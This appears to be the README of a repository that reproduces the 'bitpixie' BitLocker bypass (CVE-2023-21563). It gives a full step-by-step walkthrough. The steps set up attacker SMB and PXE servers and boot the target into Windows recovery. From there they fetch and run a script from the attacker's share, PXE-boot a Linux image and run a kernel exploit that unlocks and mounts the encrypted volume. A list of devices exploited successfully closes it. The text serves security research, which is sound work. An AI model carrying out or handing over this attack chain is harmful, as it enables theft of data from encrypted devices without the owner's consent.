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Bitpixie

The bitpixie vulnerability existed since October 2005, was discovered in August 2022 and publicly disclosed in February 2023 by Rairii after which it was assigned CVE-2023-21563.

The full attack chain was demonstrated by Thomas in his 38C3 talk which was followed up by two blog posts:

This repository reproduces the original research performed by Thomas based on his talk and blog posts. The used Linux kernel exploit (blog, PoC) for CVE-2024-1086 was written by @notselwyn.

Parallel to this work Andreas Grasser also attempted to reproduce the original research, ending up with a very similar approach.

Prerequisites

BitLocker must be configured without pre-boot authentication also sometimes referred to as unattended/transparent mode i.e. without a PIN or a key file.

Booting in PXE mode must be possible. In particular, the UEFI firmware must have a working TCP/IP stack. If only the network boot option is disabled, some USB dongles might work around that limitation.

If you have access to the Windows environment, launch an elevated instance of msinfo32 the entry Automatic Device Encryption Support should read Meets prerequisites.

A TPM 2.0 is needed to support the PCR7 binding

  • In Windows open Device Manager > Security Devices and check the TPM properties
  • Check in the UEFI settings, something like: Security > Security Chip > Security Chip Selection.

Warning

Changing the TPM mode will clear the stored keys, therefore:

  1. Boot Windows, disable BitLocker: manage-bde -protectors -disable C:
  2. Boot into UEFI/BIOS, enable the TPMv2.0 security chip
  3. Boot Windows, re-enable BitLocker manage-bde -protectors -enable C:

Secure Boot needs to be enabled and used for integrity validation. The command below, must list exactly the PCRs 7, 11:

PS> manage-bde -protectors -get c:
...
      PCR Validation Profile:
        7, 11
        (Uses Secure Boot for integrity validation)

Warning

If the PCR register 4 is included, this attack will not work.

Note

To make a device intentionally vulnerable a local GPO can be configured:

  1. Temporarily suspend BitLcoker protection: manage-bde -protectors -disable C:
  2. Create a GPO using gpedit.msc
  • Open Computer Configuration > Administrative Templates > Windows Components > BitLocker Drive Encryption > Operating System Drives
  • Enable Configure TPM startup PIN and PCRs and enter the PCR values: 7, 11
  1. Apply the GPO: gpupdate /force
  2. Confirm settings: gpresult /scope coputer /h gpo.html
  3. Re-enable BitLocker: manage-bde -protectors -enable c:

KB5025885 must not be installed.

Only systems using a bootloader signed with the 2011 Secure Boot certificate are vulnerable. To check this, mount the boot partition and check the signature of EFI\Microsoft\Boot\bootmgfw.efi. This can also be performed using osslsigncode.

For the Linux based exploitation strategy implemented in this repository, Microsoft's 3rd-party Secure Boot certificate, used to sign the shim loader, needs to be enabled.

Environment Setup

Linux Initramfs Generation

An initramfs containing all needed components based on a stripped down version of frood, an Alpine initramfs NAS can be generated with:

cd linux
./bitpixie build
./bitpixie qemu # optional sanity check, whether it boots at all
./bitpixie deploy
cd -

SMB Server

Start a SMB server from where the create-bcd.bat attack script can be downloaded from and the resulting, device-specific BCD can be uploaded to. Impacket's smbserver.py works great for that:

cd pxe && ./start-smb.sh

PXE Server

Download the necessary artifacts needed and start the PXE server:

cd pxe
./download.sh
./start-pxe.sh eth0

Attack

Boot into Recovery Mode

Let Windows boot normally, on the logon screen hold down the Shift key and select the Restart option from the power menu.

Windows will reboot into a recovery mode. Select Troubleshoot > Advanced Option > Command line. If desired, select Change keyboard layout. When prompted for BitLocker recovery key, select Skip this drive.

You should now be in a command prompt within the recovery environment.

If needed, enable network support:

wpeutil initializenetwork

Note

You should see DHCP request served by dnsmasq.

Mount the exposed SMB share:

net use S: \\10.13.37.100\smb

Make sure you are in local temp directory:

cd %TEMP%

Copy attack script to temporary directory:

copy S:\create-bcd.bat .

Execute attacker script to generate a BCD_modded file:

.\create-bcd.bat

Transfer the modified boot configuration to the SMB share:

copy BCD_modded S:\BCD

Note

This file needs to be served as Boot\BCD via PXE.

Exit the command line and chose Use a device then select the option indicating PXE boot.

Boot into Linux Environment

The device should now reboot over PXE, fail to fully load the Windows boot configuration then fall back to the served Linux environment.

Note

If you end up on a blank blue screen it might help to press Escape to show the Grub boot menu where you can select the Linux system.

This typically means something did not work as expected.

Login with the root user, no password is needed. Follow the instructions printed in the logon message. Replace XYZ with device file representing your encrypted BitLocker volume:

exploit && ./mount.sh /dev/XYZ && ls mnt

Success Stories

Windows 11 devices which were successfully exploited, after manually enabling the TCP stack in the UEFI settings:

  • Lenovo ThinkPad T460s 20FAA01100
  • Lenovo ThinkPad X280 20KES6C42B